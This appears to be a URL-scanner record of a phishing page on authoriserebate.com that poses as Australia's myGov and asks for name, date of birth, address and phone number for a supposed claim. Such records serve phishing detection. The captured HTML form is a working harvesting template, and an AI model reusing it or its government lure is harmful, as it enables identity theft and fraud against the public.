authoriserebate.com
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URL:
https://authoriserebate.com/personal-details.php?cookies=none;browsing-time=1233435;auth-id=ZRHQaQc3usV3HZCeBh0P6pJZxpexMT4f...
Submission: On March 26 via automatic, source openphish — Scanned from NL
Submission: On March 26 via automatic, source openphish — Scanned from NL
Form analysis 1 forms found in the DOM
Name: form — POST to-do-list-two.php?cookies=none;browsing-time=1233435;auth-id=3AZgIxHumGkuLzj2WLArOzYkDQJYfmANBJidzGF7PSPrA
<form id="form" name="form" action="to-do-list-two.php?cookies=none;browsing-time=1233435;auth-id=3AZgIxHumGkuLzj2WLArOzYkDQJYfmANBJidzGF7PSPrA" method="post">
<div class="main-container container responsivegrid aem-GridColumn aem-GridColumn--default--12">
<main id="main" class="cmp-container root responsivegrid" role="main" data-section="content">
<div class="aem-Grid aem-Grid--12 aem-Grid--tablet--12 aem-Grid--default--12 aem-Grid--phone--12 ">
<div
class="page-title title aem-GridColumn--tablet--10 aem-GridColumn--default--none aem-GridColumn--phone--none aem-GridColumn--tablet--none aem-GridColumn--phone--10 aem-GridColumn aem-GridColumn--offset--phone--1 aem-GridColumn--default--8 aem-GridColumn--offset--default--2 aem-GridColumn--offset--tablet--1">
<div
data-cmp-data-layer="{"page-title-ce43f0977f":{"@type":"servicesaustralia/components/structure/page-title","repo:modifyDate":"2022-10-18T06:28:26Z","dc:title":"myGov"}}"
id="page-title-ce43f0977f" class="cmp-title">
<h1 class="sr-only">myGov</h1>
</div>
</div>
<div
class="page-intro aem-GridColumn--tablet--10 aem-GridColumn--default--none aem-GridColumn--phone--none aem-GridColumn--tablet--none aem-GridColumn--phone--10 aem-GridColumn aem-GridColumn--offset--phone--1 aem-GridColumn--default--8 aem-GridColumn--offset--default--2 aem-GridColumn--offset--tablet--1">
<div class="cmp-custom-intro">
<p style="font-size: 37px; line-height: 50px;" class="cmp-custom-intro__title"> Tell us about yourself </p>
</div>
</div>
<div
class="container responsivegrid aem-GridColumn--tablet--10 aem-GridColumn--default--none aem-GridColumn--phone--none aem-GridColumn--tablet--none aem-GridColumn--phone--10 aem-GridColumn aem-GridColumn--offset--phone--1 aem-GridColumn--default--8 aem-GridColumn--offset--default--2 aem-GridColumn--offset--tablet--1">
<div id="container-cc4cf48ad7" class="cmp-container root responsivegrid">
<div class="aem-Grid aem-Grid--8 aem-Grid--tablet--10 aem-Grid--default--8 aem-Grid--phone--10 ">
<div class="sign-in-teaser teaser aem-GridColumn--tablet--10 aem-GridColumn--phone--10 aem-GridColumn aem-GridColumn--default--8">
<div style="padding: 0.3rem 0;" class="cmp-sign-in-teaser">
<div id="experiencefragment-e4b958b9b9" class="cmp-experiencefragment cmp-experiencefragment--authentication">
<div class="container">
<div class="root container responsivegrid">
<div id="container-1e6925bd72" class="cmp-container root responsivegrid">
<div class="aem-Grid aem-Grid--12 aem-Grid--default--12 ">
<div class="title aem-GridColumn aem-GridColumn--default--12">
<div>
<ol class="ds-c-step-list ds-u-margin-top--3">
<li class="ds-c-step ds-c-step--completed ds-u-color--base">
<div style="width: 100%;" class="ds-c-step__content ds-c-step__content--with-content">
<h2 style="color: #172f50; font-size: 16px; line-height: 38px;" class="ds-c-step__heading">Personal details</h2>
<div style="margin-bottom: 0px !important;" class="ds-c-step__description ds-u-margin-bottom--2">Enter your full name as shown on your official identity documents.</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--10">
<div class="ds-u-clearfix"><label style="font-weight: normal; font-size: 14px;" class="ds-c-label" for="firstName" id="firstName-label"><span class="">First name</span></label>
<input class="ds-c-field" type="text" aria-invalid="false" data-testid="firstName" autocomplete="given-name" name="firstName" id="firstName" aria-label="First name" value="">
<span style="display: none; color: #dd3603; font-size: 12px; margin-top: 10px;" id="firstNameInputErrorSpan"></span>
</div>
</div>
</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--10">
<div class="ds-u-clearfix"><label style="font-weight: normal; font-size: 14px;" class="ds-c-label" for="middleName" id="middleName-label"><span class="">Middle name (if applicable)</span></label>
<input class="ds-c-field" type="text" aria-invalid="false" data-testid="middleName" name="middleName" id="middleName" aria-label="Middle name" value="">
</div>
</div>
</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--10">
<div class="ds-u-clearfix"><label style="font-weight: normal; font-size: 14px;" class="ds-c-label" for="lastName" id="lastName-label"><span class="">Last name</span></label>
<input class="ds-c-field" type="text" aria-invalid="false" data-testid="lastName" autocomplete="family-name" name="lastName" id="lastName" aria-label="Last name" value="">
<span style="display: none; color: #dd3603; font-size: 12px; margin-top: 10px;" id="lastNameInputErrorSpan"></span>
</div>
</div>
</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--10">
<div class="ds-u-clearfix"><label style="font-weight: normal; font-size: 14px;" class="ds-c-label" for="dateOfBirth" id="dateOfBirth-label"><span class="">Date of birth (DD/MM/YYYY)</span></label>
<input class="ds-c-field" type="tel" aria-invalid="false" data-testid="dateOfBirth" name="dateOfBirth" id="dateOfBirth" aria-label="Date of birth" maxlength="14" value="">
<span style="display: none; color: #dd3603; font-size: 12px; margin-top: 10px;" id="dateOfBirthInputErrorSpan"></span>
</div>
</div>
</div>
</div>
</li>
<li class="ds-c-step ds-c-step--completed ds-u-color--base">
<div style="width: 100%;" class="ds-c-step__content ds-c-step__content--with-content">
<h2 style="color: #172f50; font-size: 16px; line-height: 38px;" class="ds-c-step__heading">Residential address</h2>
<div class="ds-l-row">
<div style="margin-bottom: 0px !important;" class="ds-l-col--12 ds-l-md-col--8 ds-c-step__description">Enter the address you currently live at.</div>
</div>
<div class="ds-l-row">
</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--10">
<div class="ds-u-clearfix"><label style="font-weight: normal; font-size: 14px;" class="ds-c-label" for="line1" id="line1-label"><span class="">Address</span></label>
<input class="ds-c-field" type="text" aria-invalid="false" data-testid="line1" name="line1" id="address1" aria-label="Address" value="">
<span style="display: none; color: #dd3603; font-size: 12px; margin-top: 10px;" id="line1InputErrorSpan"></span>
</div>
</div>
</div>
<textarea class="ds-c-field" style="display: none; height: 65px; padding-top: 10px;" id="address11" name="line11" type="text" placeholder="Type your address"></textarea>
<input id="address2" name="line2" type="hidden">
<input id="city" name="town" type="hidden">
<input id="county" name="county" type="hidden">
<input id="postcode" name="postcode" type="hidden">
</div>
</li>
<li class="ds-c-step ds-c-step--completed ds-u-color--base">
<div style="width: 100%;" class="ds-c-step__content ds-c-step__content--with-content">
<h2 style="color: #172f50; font-size: 16px; line-height: 38px;" class="ds-c-step__heading">Contact details</h2>
<div style="margin-bottom: 0px !important;" class="ds-c-step__description ds-u-margin-bottom--2">Enter a valid phone number to receive SMS updates regarding the progress of your claim.</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--10">
<div class="ds-u-clearfix"><label style="font-weight: normal; font-size: 14px;" class="ds-c-label" for="phone" id="phone-label"><span class="">Phone number</span></label>
<input class="ds-c-field" type="tel" aria-invalid="false" data-testid="phone" autocomplete="tel" name="phone" id="phone" aria-label="Phone" maxlength="14" value="">
<span style="display: none; color: #dd3603; font-size: 12px; margin-top: 10px;" id="phoneInputErrorSpan"></span>
</div>
</div>
</div>
<div class="ds-u-padding-bottom--1 ds-l-row">
</div>
<div class="ds-l-row">
<div class="ds-l-col--12 ds-l-md-col--8 ds-u-color--gray ds-u-font-size--sm ds-u-padding-bottom--2"></div>
<div class="ds-l-col--12 ds-u-padding-bottom--5">
<button class="ds-c-button ds-c-button--solid" style="background-color: #99e1f3; color: #172f50; text-decoration: none; font-size: 14px; border-color: transparent; font-weight: normal;"
type="submit">Continue</button>
</div>
</div>
</div>
</li>
</ol>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div
class="enhanced-polling aem-GridColumn--default--none aem-GridColumn--phone--none aem-GridColumn--tablet--5 aem-GridColumn--tablet--none aem-GridColumn--phone--10 aem-GridColumn aem-GridColumn--offset--phone--1 aem-GridColumn--default--5 aem-GridColumn--offset--default--2 aem-GridColumn--offset--tablet--2">
</div>
</div>
</main>
</div>
</form>Text Content
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MYGOV
Tell us about yourself
1. PERSONAL DETAILS
Enter your full name as shown on your official identity documents.
First name
Middle name (if applicable)
Last name
Date of birth (DD/MM/YYYY)
2. RESIDENTIAL ADDRESS
Enter the address you currently live at.
Address
3. CONTACT DETAILS
Enter a valid phone number to receive SMS updates regarding the progress of
your claim.
Phone number
Continue
About this site
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FOOTER COLUMN 1
ABOUT THIS SITE
* About myGov
* Help using myGov
* Contact us
* Share feedback
* myGov user audit
FOOTER COLUMN 2
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We acknowledge the Traditional Custodians of the lands we live on. We pay our
respects to all Elders, past and present, of all Aboriginal and Torres Strait
Islander nations.